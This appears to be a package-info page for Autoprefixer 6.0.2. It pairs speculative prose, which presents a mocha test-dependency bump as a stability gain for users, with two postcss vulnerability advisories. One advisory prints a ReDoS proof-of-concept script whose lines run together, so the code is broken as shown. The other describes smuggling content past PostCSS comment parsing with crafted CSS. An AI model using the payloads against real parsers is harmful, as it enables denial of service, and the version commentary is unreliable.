Autoprefixer version 6.0.2 represents a minor update over its predecessor, 6.0.1, within the popular CSS vendor prefix management tool. Both versions share core functionality like parsing CSS and adding vendor prefixes using data from Can I Use, easing cross-browser compatibility for web developers. Key dependencies such as postcss, caniuse-db, browserslist, and num2fraction remained consistent, ensuring a stable foundation for prefixing.
However, the critical change lies in the updated mocha development dependency, moving from version 2.3.0 in 6.0.1 to 2.3.1 in 6.0.2. While seemingly small, this points to potential bug fixes or minor improvements within the testing framework used for Autoprefixer's development. Such updates are vital for developers relying on the tool's reliability, implying more robust testing and fewer unexpected prefixing issues.
For developers, this implies that upgrading to Autoprefixer 6.0.2 offers a potentially more stable experience due to refinements represented on the update of the testing framework. They can expect similar CSS parsing and prefixing behavior, leveraging the most up-to-date Can I Use data for accurate targeting of browser compatibility. The upgrade is expected to be seamless, requiring minimal code changes and providing a subtle yet valuable enhancement to their CSS workflow. This highlights Autoprefixer's commitment to continuous improvement and assures developers that they're utilizing a well-maintained and reliable tool for vendor prefix management.
All the vulnerabilities related to the version 6.0.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.